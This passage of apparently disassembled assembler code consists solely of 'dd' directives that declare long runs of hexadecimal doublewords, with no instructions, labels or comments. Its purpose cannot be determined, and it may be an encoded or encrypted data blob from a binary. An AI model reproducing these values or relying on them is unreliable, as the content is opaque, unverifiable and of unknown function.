2FD35CA0h, 0BE001ABFh dd 0EA69C868h, 0EEB09767h, 0CE4EDB80h, 5EFE6AFEh, 0ADFE98h dd 8B2F89F8h, 81FF6ADEh, 0C8F5CF0Bh, 0E402DFA0h, 1E740E1Dh dd 0F98E4EF4h, 94AFD106h, 22951098h, 29E26F51h, 0BDDE3304h dd 0A84288F9h, 0C2D207Dh, 9304B04Eh, 0E6070DEDh, 59958170h dd 718C6B13h, 322246F1h, 40814D1Ch, 4BF2FF29h, 52E4C01Bh dd 5F4B0DB3h, 0C364DAC9h, 6A1A41C5h, 4FA060C6h, 4B88A3D8h dd 82D0B486h, 37B45C09h, 0D1BCB8EEh, 35B03AB2h, 60174486h dd 0D1B21A95h, 0B48D009Fh, 3A4199FCh, 1233C300h, 0D18B6159h dd 5C1DFC29h, 31987A16h, 414FBD09h, 8857945h, 20913011h dd 95090B1Eh, 0D57A1D29h, 0E495C07Ah, 0F5523D8h, 4CBF5220h dd 0F19525DDh, 14775669h, 532384EAh, 0FF1C0DD6h, 0E7202E03h dd 0F0CCD9Dh, 0AB3E6BDDh, 503F5660h, 67515A68h, 43EC3A8Ch dd 4BCDF34Fh, 0E5961EC0h, 21565F60h, 0EC8FF395h, 86095575h dd 55CF8259h, 5A7CCFC0h, 41A5D8CAh, 4113DD25h, 2D1F9A8h dd 0D969C900h, 765B778Dh, 8D4C9FEh, 0B9C2B875h, 0D9002D2h dd 98E5FE17h, 6DC7F65Eh dd 5BAF2018h, 923DF82Dh, 0FF9388h, 797D1197h, 0D643AE5Ch dd 0B1012AFCh, 39A23F58h, 0B83B10D2h, 689DCF51h, 27B91D09h dd 267BF742h, 0B8650B70h, 901344F6h, 6B431907h, 8A40C2B4h dd 0E9E2FEh, 0ECADF17Eh, 6C88C62Ah, 58616007h, 0F944F28Bh dd 0F839B2BCh, 1213662Ch, 6581E208h, 0F844C9F6h, 22C3D22Bh dd 49B1DC9Dh, 0F807B27Ah, 0BE981609h, 446F89h, 7EC701F7h dd 25522747h, 0D70A3F0h, 0EAE9CA25h, 0E95355A6h, 84A0D472h dd 0BFF57B20h, 11A42C20h, 9EBA00CCh, 0BBAAF24Fh, 76B4D05Ch dd 38C7516Bh, 0AAA21609h, 552DEA5Fh, 1964D64Dh, 0B1F67660h dd 22884C13h, 68D48013h, 5910DDE8h, 0E8800409h, 0F1BC61C1h dd 0F7E62AADh, 1CB59D08h, 0A9BD0107h, 0C4DB7969h, 0B8F9448Ah dd 56E3FDB7h, 53E2F880h, 0D25E2C13h, 0BBD711A8h, 51A1C916h dd 9A8F752Eh, 7D6DC121h, 545AE1FFh, 302F69C7h, 0E5973316h dd 0B5B91750h, 0D9B7517Bh, 618A8949h, 0F243BA79h, 9BFF8404h dd 7123C0FBh, 254995EEh, 0D6E56BE9h, 5C04DE0Bh, 0EC74F475h dd 30318958h, 0DBBBCB13h, 0DA949727h, 81F7744Fh, 8CD458B0h dd 315AC40Fh, 5B49368Dh, 0DC5160h, 0A15E2DADh, 0CCE32EAEh dd 0C01285DDh, 0DFF0474Bh, 69BD270Bh, 0BC70F689h, 1E783B93h dd 974AFA8Eh, 19CDAA3h, 2C9BFB84h, 3EB028C0h, 5C164002h dd 0AEE0A7E7h, 84B42560h, 8094AE4h, 9979267h, 0A7145B10h dd 0F342E34Dh, 10667CFDh, 0BDF34A16h, 253C364Ch, 0C42EF2DAh dd 0FF120341h, 453C1836h, 0F6073004h, 585A9C13h, 99316681h dd 2536A4A4h, 56EA8955h, 3B605104h, 78531ACCh, 0D8F2C5Ah dd 0FEA850BCh, 0C32D7002h, 62D9858Ch, 7B105551h, 300879Bh dd 6D101B20h, 0AFD17Ch, 4A7DA828h, 0F7F3C1F1h, 78EEBE27h dd 9D5B73E7h, 34400C71h, 9D171B75h, 31631FD2h, 2F5AD028h dd 5D40B4F0h, 64F240BAh, 0C9041241h, 9788AEA4h, 12531656h dd 0B81BB334h, 1ABBC764h, 0D41D8E43h, 5EFF6EFBh, 127042CCh dd 0E5552965h, 8DF76E51h, 6D6E97A0h, 7055BA2Dh, 0A2899552h dd 2F43BD6h, 3B5CD4E8h, 0B8E24B69h, 0BDE6F32Bh, 0C58D5495h dd 18DAEBF9h, 0EAEA98D3h, 9264FA01h, 8ADA8B46h, 612074DEh dd 75199D01h, 10E67AAEh, 99B017B2h, 600172F2h, 0CA0BB9Bh dd 0C87B4A98h, 3300DEC4h, 0EAB8A9DFh, 1696F8BBh, 0BD5F1237h dd 1291381h, 3104D0B7h, 0AB0EEDBDh, 1B88359Ah, 1C1973C0h dd 24E01A6h, 8529E8B0h, 29426FB5h, 2B19800Fh, 90002059h dd 1527E025h, 38E70097h, 0BDE33156h, 4048E9BCh, 9D5919F0h dd 0DB7A34C0h, 972C1F4h, 702C9FB7h, 81980522h, 0C058E212h dd 61F60205h, 1F3D27C1h, 93E1DD6Bh, 232DFB20h, 274582F1h dd 0B8C1231Eh, 35BB507Eh, 914A2EC8h, 8E0F09F9h, 4097BE66h dd 14F3BBF0h, 0AC04C435h, 0F637588Bh, 92EBDB80h, 5B0D6DD3h dd 4FB7E812h, 7EE3F5E7h, 0D605DAE0h, 0B5130B7Fh, 0B0040C74h dd 8AF1260h, 0BF812F4Ah, 2BB0651Bh, 9B5A363Ch, 0D95E80D7h dd 4476B64h, 658D89CAh, 596FBA31h, 0D4051623h, 63B956BCh dd 92919D84h, 0CACD614Ch, 37349FE0h, 931E9D93h, 4FCE4D9Dh dd 8CA0F2B2h, 2CB32313h, 108E01C2h, 0C6AC4E2Eh, 0CDAB0493h dd 0EE5DE819h, 254CE896h, 473EB01Bh, 6C3801BDh, 0CDF67A35h dd 7EF76A77h, 0A803AD97h, 3E2A0514h, 0ABEB0854h, 0B94B7EDAh dd 26FB843h, 9798287Fh, 0C1543EF0h, 6EE8F564h, 1D3BBC0h dd 9A97785Dh, 0B560D86Ah, 14640BEDh, 98609C62h, 497AE46h dd 9BD4D864h, 0E5B825FDh, 0F8A32509h, 0E4485D2Fh, 0B325DE8Bh dd 54E159C8h, 9BDEE913h, 0E3D272ACh, 0EE115BFFh, 7EB38B92h dd 0CA509AAh, 0D45A0374h, 7A00D45Eh, 0A6855351h, 11316A05h dd 762ED99Dh, 0D21C130h, 9D1599BDh, 24122D3Bh, 6FEB19B1h dd 1D2391h, 4617C52Bh, 633C75ECh, 855F2573h, 49052472h dd 65AF16A9h, 0A0E2A6E4h, 137E651Fh, 0A1887155h, 0C0A65B17h dd 0C53638C7h, 0E2E54834h, 350E68C0h, 23F6EBD4h, 5E8F0A2Dh dd 319FD693h, 7608260h, 55C7AAA1h, 15644ECDh, 0AD4F5961h dd 649C0A3Ah, 0D8ACD3A5h, 0AB07744Ah, 0F025605Ch, 7BC2EFE5h dd 8892D72Dh, 9FAC785Dh, 176419EDh, 9C5DC660h, 8D09F513h dd 0DF81E490h, 4AECF4AFh, 89138852h, 991FCCA0h, 18B0D200h dd 0DE068E5Dh, 0CBE6071Ah, 74DFF242h, 38A3EA96h, 35ED82Eh dd 1A3B9F03h, 5D6EABFCh, 787C2C2Fh, 5D298D09h, 9D163C94h dd 10E9055Dh, 550A0ED3h, 8869A313h, 8725BB3Ch, 0DA8929D1h dd 3B97750h, 7B6BC655h, 0E5D783EAh, 70E00137h, 0D07DFE5Fh dd 7C3AFA92h, 0E7760234h, 5E3D9529h, 2FDDA071h, 0D6742E59h dd 0C07294DEh, 8DDFF79Ah, 9DAD4Eh, 72A8A62Dh, 0A5097D5Eh dd 889791FDh, 0D18DF82Ah, 8C17A859h, 36918C09h, 0A7EF79FCh dd 20005244h, 4BA37E0Bh, 9D416098h, 10E1684h, 820F535Bh dd 1320B777h, 0B8A5F4Eh, 0BD4B5938h, 0F9E8E90Fh, 7BA81DE6h dd 0B13B84BDh, 0AB0E941Fh, 0AA69D39Dh, 3802E9A8h, 0B2E0EAF8h dd 4DBB401Dh, 4F129D01h, 5058275Eh, 32F607BFh, 0D25B7101h dd 0E4D5F298h, 9337BD7Eh, 6D051A12h, 0C9EC9171h, 0C4D61480h dd 6D05E194h, 814EF783h, 0CEADDAABh, 1211C17h, 3AEC9DEEh dd 0A5D52056h, 4F5B2540h, 547B2090h, 1D04438Bh, 0B3AA3A1Eh dd 0EDEDCFBh, 7B541F0Fh, 0BB7EC060h, 6560276h, 505F6134h dd 30B4E57h, 5E30219Dh, 0DE05FCB6h, 77D8E0D0h, 0FD4FF3ACh dd 6EEF4F56h, 5BFA2653h, 60081301h, 7A53CBD1h, 0A64BC0E0h dd 0CE270033h, 0D2C5FC20h, 61FA0F04h, 3F87B707h, 0C48E3E5Bh dd 37B35FDBh, 79BD2304h, 0ED1102Ah, 0C1EDFE9Dh, 6D7A48BBh dd 0D1BBE06Fh, 40135E16h, 2125D3C1h, 0E845B800h, 617BD51Ch dd 7E044267h, 0A04CDCB4h, 88A1196h, 4AE1E75Bh, 9BB0D3F7h dd 674A735Fh, 8D3888h, 1A5163F3h, 5BF9836Fh, 0CB032000h dd 8C9C9E09h, 8DD3B52Ch, 2EFA1D8h, 61839791h, 6675CF30h dd 0F8A604DCh, 0B66A5FD8h, 5183F1C4h, 88D8183Fh, 4CB2AD95h dd 5ABE7395h, 3AD52D19h, 0FFF82630h, 0B8BB04D1h, 0BC5D276Ch dd 577AA3FFh, 0C4A0673Ch, 8E0565AFh, 7B2E251Eh, 29493AAh dd 9BDD610h, 8805ED50h, 0E61D0F5Ah, 89173816h, 0CD8754E2h dd 0AA27D081h, 0CD9F505Bh, 19D7E98Ch, 716A6AFEh, 719C1CBh dd 5E0F2B82h, 0FEA758CBh, 596F7BE7h, 48275D00h, 64987F9Fh dd 183D385Ch, 85811BD9h, 510DCB09h, 549758C6h, 849869FFh dd 0D1009C19h, 5270BDCFh, 13016013h, 0E625718Dh, 0C29D00D4h dd 3294BD2h, 0ED2D0E62h, 8AC5D168h, 0E79082BEh, 98FD8F62h dd 251E989Eh, 14FF0B8Fh, 81D6A848h, 25F37AF7h, 0C3D37652h dd 113C8B2h, 0C94E92BFh, 45F72A68h, 25158411h, 186460h dd 50A9A7CDh, 96133352h, 84189101h, 61EDCB80h, 0A85AF22Ah dd 0F3E8E1h, 0FA05B63Bh, 0C895E381h, 6487224h, 0C2FECD2Dh dd 79E016D3h, 0BD95170Dh, 96140055h, 0A628FD5Ch, 63F8B197h dd 2570F72Ah, 80817C4Fh, 3A33CB7Dh, 0B05CBFEDh, 0E6D90077h dd 0BD295070h, 16F5BA45h, 471E45Fh, 0BDB337E3h, 988A76FEh dd 264014h, 7ED9A8E4h, 0B871E561h, 0B6446201h, 110BF38h dd 0BBC6906Eh, 9886BC5Ch, 23D54E81h, 0C1CADE9Fh, 3740385Eh dd 1DC54C5Ch, 2085EE2h, 0EC52CBD6h, 1021774h, 0B032D85h dd 221228F6h, 0BFD2D1E8h dd 0C1BF2322h, 5DCA0AE8h, 4D9DD602h, 0D14E9B72h, 181A88h dd 0D6D36D31h, 5FA69FB9h, 78C190B5h, 0E71D0922h, 8A0A09DEh dd 262A102Ah, 0BB3BBA5Bh, 0A5E94151h, 0AC85F57Ch, 1EBC2B8h dd 0C06549F6h, 0CF85BEFh, 0A171BA85h, 323A1259h, 4C2F1F25h dd 4B500B77h, 809DAC56h, 8C34A6B2h, 0F1700A4h, 74CCEB5Dh dd 500DA845h, 0A65F601Bh, 0E92D312Fh, 84CD100Ah, 0D6580162h dd 7016EEE0h, 26223A75h, 8671293Fh, 74314102h, 826DDFA8h dd 0BB703500h, 0F4A59A46h, 28329D5Fh, 0BFA8B07Dh, 86EE98FBh dd 0C19D1690h, 0A137EC2Ch, 0E93A7C76h, 3BC77h, 0C96EBB0Ch dd 2265DB6Dh, 0F6324992h, 74FC523Eh, 800F6226h, 0A1EF317Fh dd 0FB65BB30h, 0D6A6B901h, 913D77h, 0B0EC7376h, 3E13CB12h dd 20B04C0Bh, 0CF44971Eh, 119904A0h, 4037DD82h, 697FD6ADh dd 9599B05Dh, 0F62A4B65h, 0CCAB01E2h, 0F3FE7DB4h, 92A123F8h dd 0BD5B5A52h, 9B15A8A0h, 84A40DA1h, 73FC1D80h, 15A54B81h dd 0F0F7B67Ah, 4E0C8D8Ch, 4C9E8F1Dh, 75692C07h, 43C42513h dd 0B74F5FBCh, 0EFC2A0ACh, 2719E868h, 2EF4DA8Bh, 1277BBD6h dd 0A9CAC8E6h, 7967B502h, 74EE6E46h, 9436A69h, 175D09B9h dd 18C6A725h, 1AE3C195h, 4376FB07h, 28A7A459h, 9AE375Fh dd 0E47DA7C5h, 0DCB0A013h, 0AD1F91B4h, 0F200D844h, 0F0035780h dd 139DE22Ah, 9B19F8h, 0B10CE19Eh, 0F52CB48Ah, 893EB75Bh dd 0D36B4160h, 1818594Fh, 2A2E0992h, 81047590h, 0E1FF45E5h dd 30D3CDDBh, 0A7129415h, 521A4195h, 5B26096Fh, 5D4253D1h dd 30D705h, 0DD046BAAh, 0A8A96FE0h, 5FA13DE8h, 669E3B05h dd 0FCF60B80h, 9099C43h, 5516119Dh, 86092845h, 0D83CD3F6h dd 0FA098654h, 0E6604108h, 0E08100A4h, 6E9037EFh, 0B004E1BEh dd 606145D9h, 4AB8B9A9h, 7B96CB3Dh, 58123AEBh, 42E0F7F6h dd 0DB03D4E5h, 0BF8C7DA2h, 1ACAD9EBh, 6F79163Ah, 4FA709E9h dd 40847560h, 0B505817Dh, 9C953F11h, 10994881h, 2268A37Bh dd 0C673B551h, 2603A2Ch, 0EAB1ECh, 668C085Fh, 5E2F93BAh dd 13FD17B8h, 8161F853h, 431709DFh, 48D11C83h, 0CF40609Fh dd 0E3AD32Bh, 29B51901h, 0FE509317h, 0F957EF62h, 41F94BE4h dd 0D5BB6900h, 73700EBDh, 226F89Dh, 0A720DFB4h, 9A771D82h dd 7011DB4Dh, 1612C6F0h, 0C88E9D8h, 0FACB003Eh, 8D29B09Bh dd 299F1635h, 2FE45597h, 685B5103h, 0D352365Ch, 0A3840581h dd 0F616CCCDh, 94B4E036h, 5A9775D1h, 6BECF17Eh, 0D92F56A9h dd 0C9D89D7Bh, 0B4029010h, 1B467E71h, 233FDF0Fh, 0B9E30D81h dd 0B1E930E2h, 42C90F41h, 6F6E0B25h, 0BE970039h, 0D68F330Eh dd 0BFEC025Dh, 31C401B1h, 8EC53F74h, 888F9E9h, 59094D26h dd 0BE385D1Fh, 911337BBh, 71AF5A9Eh, 3A2EC584h, 27462F76h dd 7B5E09B1h, 1C467Eh, 0DD0B1593h, 279933C0h, 5A58D40Eh dd 70EF3F25h, 5D9A8A06h, 18F8AB5Bh, 1F8009EAh, 44D0ADD6h dd 0C7807299h, 4C8F093Ah, 0DDF1000Eh, 7EA853FEh, 0C9F0C2A2h dd 0BF00D1EAh, 0C19F608h, 17B3505Bh, 0BE348918h, 46202B6Fh dd 4BA479BDh, 0F152E873h, 22E525C1h, 7FAF1227h, 489FB952h dd 0BD29B371h, 0BE01AE96h, 7277D112h, 73948B61h, 3F005FE9h dd 3D80D803h, 0A200FB39h, 6FB3C05Dh, 489AE42h, 92327535h dd 8FA2FBB4h, 4B4DBB1Fh, 0CDD671DCh, 640C00DEh, 0F0BAC6BCh dd 3E029EDBh, 6782EBBh, 4A477420h, 0C809F40Dh, 898E64B6h dd 29764D9h, 3B14F8A2h, 4755CAE1h, 20EA285Ch, 42BF1BF9h dd 8082B729h, 0CAE2798Bh, 7A09CBBEh, 0FF52E6ACh, 0EDB8F7E4h dd 9186B59Dh, 37A78019h, 5BF0622Ch, 0FD39C313h, 857C61CAh dd 0BF0102DCh, 3E7CA423h, 20CE50C1h, 1F408DD2h, 5E1E9D61h dd 40B26D95h, 53E59928h, 8260D9B5h, 19C9B529h, 3EE35B05h dd 257BFC5Bh, 66B6482Dh, 0B94525BFh, 5113CBE5h, 1447BAEh dd 93693310h, 132E3BBAh, 402B93A7h, 6EFAEE4Ah, 61BB4A07h dd 3A8E0E66h, 0BBE0BE3Ah, 0BF047A38h, 0C995094Dh, 0A28EE7EBh dd 91E48098h, 0F6B7DBBh, 802A4E9Eh, 27E8A89Fh, 0E1455599h dd 0DE041109h, 3500F49Eh, 14428D92h, 9ED9185h, 619D29E4h dd 0DA782C7Eh, 0C0DCB403h, 4A36F75Bh, 5F57FC01h, 0D1525DFh dd 108DA73Bh, 0BBA434BDh, 0E62A2E29h, 0AF22E0E3h, 0F63A9D73h dd 9084B9B5h, 0FBCCED8Fh, 774300C5h, 3B556841h, 970061C0h dd 456C2893h, 17074690h, 0AC66D656h, 20058F79h, 842ADA44h dd 15670ED1h, 0E1407E57h, 0BB964B4Eh, 0E89D5B05h, 79E25053h dd 6500BF4Eh, 7244D3Ch, 5F2805B7h, 60F88B96h, 2DBD33A4h dd 0ED9D094Eh, 0B62B9521h, 3018B2A8h, 0EE2FE6Eh, 7C08735Bh dd 0CA8E970Dh, 50F51F5Bh, 0F1C2630Bh, 185DA518h, 42EDB58Eh dd 4081921Eh, 493C3656h, 217B0FCFh, 4EC6E884h, 42AFED16h dd 1C759557h, 7EDFBADDh, 7B654079h, 4E00D958h, 0C91D2473h dd 120DCCB2h, 0A2910F1Bh, 78F707A2h, 0D1E03621h, 0CA311Fh dd 5B85AABh, 446EBC4Ch, 0D7E9B24Eh, 0B98D2982h, 7F25AB56h dd 0BC80B8B7h, 0EB8D055Bh, 0A7521EDCh, 2D4427E4h, 501D7501h dd 39277426h, 0A30AFC6Eh, 594A41Bh, 0C01EDEEEh, 691FB956h dd 0B596EAC7h, 0BB14B16Ch, 6CF236Fh, 963542CBh, 0A92A5A14h dd 0BDE6780Bh, 740F192Dh, 498751CFh, 9A206AB0h, 9DA38BF4h dd 4D988BD8h, 5F3B3165h, 0FDF9DEEh, 0FA91C064h, 0F07B8CF9h dd 0B9600484h, 0FB0E633Eh, 8A940412h, 25138BEEh, 0F6C2F64Dh dd 4F50323Ah, 0A1B8D20h, 48190B37h, 0A85863D1h, 82F83795h dd 0C04ED442h, 50656557h, 7E006C4Bh, 4457EB9Eh, 9FAD1615h dd 0EE40767Eh, 25A7F51h, 0E3E1F264h, 295FCEEDh, 31651830h dd 646100EFh, 630233B3h, 7804FA56h, 0E29D3CCAh, 8D2B9E8h dd 0BF810511h, 7294667Ah, 1688645Ah, 46BCE4C0h, 20FF9060h dd 8B5F30F9h, 613B29E2h, 0A646D8A7h, 25C259A2h, 27CEDD5h dd 2FDD9D89h, 700D65F7h, 5C00433Ch, 0D767B3D8h, 0BDC6C4AEh dd 8F41BC6Fh, 97F63B7h, 0AD762FBDh, 2F1646FEh, 1C5778CEh dd 6DFFF1F4h, 71C0C94Dh, 1386AF4Fh, 0A15AF053h, 0DAF16BBFh dd 0CB57BD2Eh, 121718F8h, 807004DBh, 0BA609065h, 0D00018B3h dd 70EBC1B9h, 0DD0171F0h, 1E3C9D7Eh, 6080665Fh, 0C23B961h dd 50EC01A5h, 0AD6E905Bh, 0B0B31302h, 0CE5CFA53h, 0EA781A40h dd 0BAE34F60h, 7ED75260h, 798197CFh, 0CE898D01h, 8B301444h dd 0F79EAFAh, 0EE31F4EEh, 0B2214B2Dh, 97293F2Bh, 0B9B42665h dd 0EC6BF3D1h, 0E6009630h, 310F6E9Ah, 37D05A8Bh, 0C434D052h dd 6A4F3DFBh, 0BDBC1EB9h, 0EF18B200h, 7499A94Eh, 80353EF0h dd 0EB6A9B12h, 702D88h, 0A8BF401Bh, 7F800A2Ah, 1455F301h dd 0D477406h, 9D595DCEh, 8D7BBB81h, 0FC6B751Eh, 6AAED694h dd 0F514248Bh, 0D1FF8DC1h, 0FDF00666h, 527B0168h, 0AD86A228h dd 0E51CC425h, 0FC5A10FCh, 71168C15h, 0B8892386h, 4311DEDAh dd 1017026Ah, 37EC21C9h, 78E0BFC0h, 0AB99419Bh, 7059C8A7h dd 0B35B00E2h, 0CC813898h, 4159320Ah, 1BAB93C9h, 63C263CFh dd 12596757h, 0EB425683h, 77B50009h, 372D0C45h, 61AC007Bh dd 8B60964Bh, 0C580CB0Fh, 0BD853D31h, 0F1C814FDh, 0F5266005h dd 6B1DB1BBh, 1EFF546Ch, 0CD25679Dh, 965DE985h, 0EB810239h dd 44F1D111h, 5A8F7375h, 41C46DD4h, 427FA3ABh, 7A1A00BCh dd 17609E45h, 0E22007Bh dd 0EBE4376Fh, 6A2E3315h, 552DF4FFh, 51B5AF21h, 35BD1031h dd 0D1799D09h, 0B0571144h, 0B0812183h, 25E61034h, 50E3F970h dd 4F93104Bh, 1A0585F7h, 24BB2F89h, 38CDBA31h, 2941202Eh dd 0B2AA5595h, 0A526C9D7h, 0CE3AB83Ah, 785F29BBh, 25BF002Bh dd 2B23BE05h, 0D7A329C8h, 0D18BD519h, 0CDBD9176h, 665B134h dd 272DD5D5h, 2C89854Bh, 0C03EC27Ch, 0A505C94Bh, 30FC69D1h dd 0BDACC114h, 0BFD18E0Ch, 0BC81A8D9h, 3D1C8211h, 3C28260h dd 5D14C3C4h, 0ECFC1F10h, 9B9EB5Eh, 26E8C3C0h, 0B197615Bh dd 0AA14120Dh, 7E47CBD0h, 371500C7h, 4C015A8Ah, 0A904DC78h dd 83B7EC8Fh, 378817BCh, 18DF8084h, 8C15CEC3h, 8802E212h dd 0DF82BA06h, 0AE6AAE8h, 5B349050h, 95253CA1h, 0EAB55283h dd 29F70B31h, 40F73B7h, 0F6ED8C1Ch, 4B2FF00Ch, 37E22FB4h dd 0C44B5F5Eh, 0A92A0048h, 995E555Dh, 0BD709531h, 9D9D57B1h dd 70BB2992h, 56CF8170h, 0EF49E0Bh, 7C4609B9h, 6FAAC08Ah dd 0C11F58D3h, 6EC05214h, 80D972D5h, 0A8E90474h, 0AED37024h dd 99C142D4h, 75DA1FF3h, 3D051337h, 7EC13AB3h, 0AF0526ADh dd 0B184DB74h, 0E64B8BBDh, 2BD909F2h, 701FFBD2h, 4D97FC71h dd 2235A767h, 0E5F2A001h, 0EC1012E9h, 3D04BD6Ah, 917793D4h dd 40550F80h, 1B3A0429h, 0EF270982h, 0A54F8B6Eh, 95EB4153h dd 3BB93A20h, 3C602AADh, 9ABD8E4h, 0B3F897D0h, 9E11E02h dd 0F0E9C8F4h, 0FB9995E5h, 0C9242A56h, 0CA0018BCh, 23C7ECF8h dd 65E88E2Ch, 2E645604h, 2CC45BC4h, 0B49CE2BAh, 2AB33C84h dd 61B76B02h, 7C60E0DCh, 5B09E549h, 0BA038D0Fh, 0E51C5C5Ah dd 86FF9F90h, 2770EEB2h, 0BF55EA10h, 0DF501F8h, 0D45B4CAAh dd 0CE218949h, 0D6DC4812h, 0D542212Ch, 0F9125C24h, 0E3C03F31h dd 73619AF4h, 220600A9h, 0AD66B2ABh, 9505F45Bh, 0E1FF5617h dd 0E6CE9CC1h, 0A4DBAC3Ah, 0EB337393h, 811B017Dh, 0B1051ADBh dd 8282F6Eh, 6033C471h, 0D10DC751h, 3058E673h, 134ACD92h dd 86E15BA8h, 2839B41Fh, 6028E019h, 9731BC40h, 6E7EED61h dd 96B5004Ah, 0A82E8053h, 5F5A9FF3h, 57D98C12h, 0D9973CE8h dd 67F82F7Bh, 0E1845F8Ch, 0BF84514Bh, 0C2C29BABh, 5F495C22h dd 71006864h, 86E19FEAh, 12F8092Dh, 247CAA5h, 1EA9BDBBh dd 8D044D0Ah, 0CCB82071h, 0BE0140C4h, 7A83EEDEh, 46A89541h dd 1D00BCB1h, 18F78191h, 0C442BEDBh, 0AC11717Eh, 0DEDB53Fh dd 0CF1C1FA8h, 5BBEB509h, 9AD24FB2h, 7A7F806Eh, 714C77E8h dd 0D0680016h, 8BEB818Ah, 574B2062h, 0FED7B01Dh, 0F927A9B9h dd 0F562AA09h, 49BDF7h, 68B9188Ch, 6569503Eh, 0AF05F9BCh dd 317531ABh, 0C06B5B0Dh, 7A53C168h, 324EB7E0h, 693E37AEh dd 0D2552ED5h, 1BA2E9A6h, 5FF0530h, 7FFE51BFh, 0CF81AFE1h dd 7A202F0Bh, 0F5E924DEh, 9C00FC1Ch, 12D7EB1Eh, 4B46DB38h dd 0E9BB8568h, 0AC3FED89h, 25624D5Dh, 7298FD15h, 2B3F0FD5h dd 66A4001Bh, 0C499597Fh, 0AEEC0211h, 9FFE7193h, 0DE25E55Ch dd 0A13AE048h, 0AC0054B2h, 82D82538h, 1581198h, 0D2773E1Fh dd 207399AEh, 23F8BD0Dh, 632F5F81h, 0FFA8500h, 0BE9F916h dd 0CF17881Ah, 0DEC943AFh, 9D2BB130h, 0D31A7925h, 0D2AEF819h dd 30ABF03h, 0B095F9B5h, 9E794B8h, 8CB39623h, 0A02C1B74h dd 73C9FE67h, 7E867050h, 4CDFF01Dh, 9AAFF027h, 0EF9A95C0h dd 2379BE82h, 9F1A1C5Fh, 0E69EE10h, 0D0266401h, 6E7A7D18h dd 1332BB30h, 0D1505F9Ah, 6A4BE9Bh, 30222F0Ch, 9DD53AF8h dd 0D4CA77FBh, 184992F9h, 9178B8h, 6C63606Ah, 64D570B6h dd 1016A725h, 0A2777Ah, 8EA13EC1h, 3604A62h, 0D3208B00h dd 3BE387BBh, 5B482C46h, 0C4C59666h, 0C6BAF80h, 41001A23h dd 2982FB59h, 20BA4E14h, 0AD3F095Bh, 1519DA00h, 0C886C289h dd 0B7010047h, 0B3904227h, 0F9E85005h, 33162A9Bh, 5461C988h dd 0C7057h, 0DE3E54F4h, 0D62D55C2h, 0C163A30Fh, 113160EDh dd 4B186637h, 41628B5Fh, 0BAAF45B9h, 7E0F3579h, 34B9BDC3h dd 9036DD90h, 63404EB4h, 0AD3158h, 64CB702Ch, 8199BC4Dh dd 8F862301h, 5B53D983h, 9D1EE9C4h, 9D95C0E6h, 8CC1721Ah dd 660ECDDFh, 8EC8F083h, 894D2F8Bh, 60018359h, 158D9533h dd 85C6B173h, 89EC67F5h, 0C0277CB9h, 4B6CE809h, 0CA39B8A2h dd 0D559F561h, 0AABB4181h, 78062916h, 4BF75BF3h, 79C054B3h dd 580005BCh, 40E11133h, 1237C781h, 0E3345E51h, 0BB560118h dd 6A70D36Dh, 899BBD2Ah, 0A40073D8h, 7C12D6CBh, 0F681229Bh dd 3C32A61Ch, 806E2077h, 2AFF599Dh, 0D6CABE37h, 0D2091646h dd 0B17D61B3h, 0A62BFEF5h, 301AB2FCh, 10004C39h, 260B08F4h dd 4A4DBD29h, 0C57CED35h, 0DAEBB7B3h, 25A6D37Ch, 429E170Eh dd 0EAF27BC4h, 0B508C0E3h, 295007A9h, 2AF12585h, 4228BD79h dd 0CAD5C73Fh, 0F5BDF9C4h, 840256B8h, 0B1668E7Dh, 94BA57F5h dd 0F72355Fh, 0EFC9329Fh, 7DA70871h, 56091013h, 891929BFh dd 25427CA4h, 0DD8AB255h, 0EEB47DF8h, 0D8EAFB25h, 0B017E3CEh dd 67EDD5A3h, 57359585h, 75B2EDh, 0A6275BB6h, 1F8E7D7h dd 0CD6BBAE3h, 3A06F31Ah, 634CAAE1h, 0FEFC8CD8h, 82D19A95h dd 56D4C07Fh, 3D8951A6h, 0B8EC35h, 7D7EBD85h, 0C6B7C4F0h dd 0F7EB811Dh, 890B74C2h, 39E9579Dh, 36203A96h, 7042AA63h dd 289700DBh, 3453160h, 0BF725750h, 711F104h, 6EBA965Bh dd 35E45BC1h, 92915D6Ch, 2FDCDAC9h, 5AF17C4Bh, 97794C5Fh dd 2DFEF65Ch, 6BD3A9C4h, 19181A59h, 0E6C86F16h, 4B6610AFh dd 0D30A3096h, 3A0014A9h, 0DEA0FE58h, 91040Ch, 0FF107D5Eh dd 0CD36B090h, 2DD98948h, 0A64ED30Bh, 0B8DF2525h, 9DD52494h dd 81503156h, 87ED2572h, 6212D065h, 0FAEDF3FDh, 2F001146h dd 8FB77926h, 1215E72Ah, 0BC4F0CD7h, 0B400AA5Ch, 5D1E76BBh dd 0D89806A4h, 791D6525h, 0FE853F5Ch, 0EB716ED4h, 3CA257CBh dd 2D3AF177h, 8A60805Ch, 0E8D3014Bh, 6D9800EEh, 243DCD34h dd 0D01650B7h, 0BAF8E082h, 0AF8EE917h, 9E9B7213h, 0A86AE980h dd 1724482Fh, 61097393h, 0E6E47502h, 9964D78Dh, 0FD4A14B9h dd 5BE8ECh, 8EAA7786h, 66EFC155h, 0E6D2BF0Ch, 4AC00A90h dd 1E9CF8C8h, 0DAAF6DF9h, 2F4B3B48h, 0F481B65Bh, 0C6F488BEh dd 26EBBE5Bh, 3713D0DCh, 6FEAEE1Fh, 0D9ED5ABBh, 0C810F83h dd 0FF99214Fh, 0DFC2F621h, 2BF0E8F3h, 1B8401A4h, 0F5A9D64h dd 5B923CBFh, 8B905E90h, 0ED3DB5D9h, 0E4DCE00h, 1D6A6840h dd 270F3021h, 3B78C053h, 0DFF9BF6Ah, 80632B8Bh, 0CA067212h dd 0BD95097Ah, 4972CF4Eh, 3FD863B3h, 1A9D4877h, 71AB626Eh dd 0C97B51AAh, 0CF9D7658h, 935F6002h, 4F021C50h, 4A947720h dd 0D11BE1E2h, 0E0D6A62Eh, 893C76h, 33F1AC7Bh, 0F5C5ED78h dd 44801497h, 292F5298h, 5F2DC8B5h, 4F024D6Ah, 1A90CFBCh dd 0F50F5522h, 936283D5h, 0F38B6009h, 904E296Ch, 0FE9C69DBh dd 0D949A507h, 0CF90E0ADh, 2955602h, 5D4169C6h, 5EB762D2h dd 0F81FDEA9h, 0B08E34C1h, 0FE2C7ED1h, 0E9161F02h, 651CDDE6h dd 0F8F94149h, 86B002C0h, 0D7B2A24Eh, 293F16C6h, 0FE200474h dd 0A6BB69B8h, 3430A484h, 138DE00Bh, 0D7339018h, 49BF60D0h dd 6B3B39CBh, 0F6201F50h, 0CD27785Fh, 6091C28Ch, 0C4675h dd 0FBABF181h, 3EBE3CD4h, 2D717F0Bh, 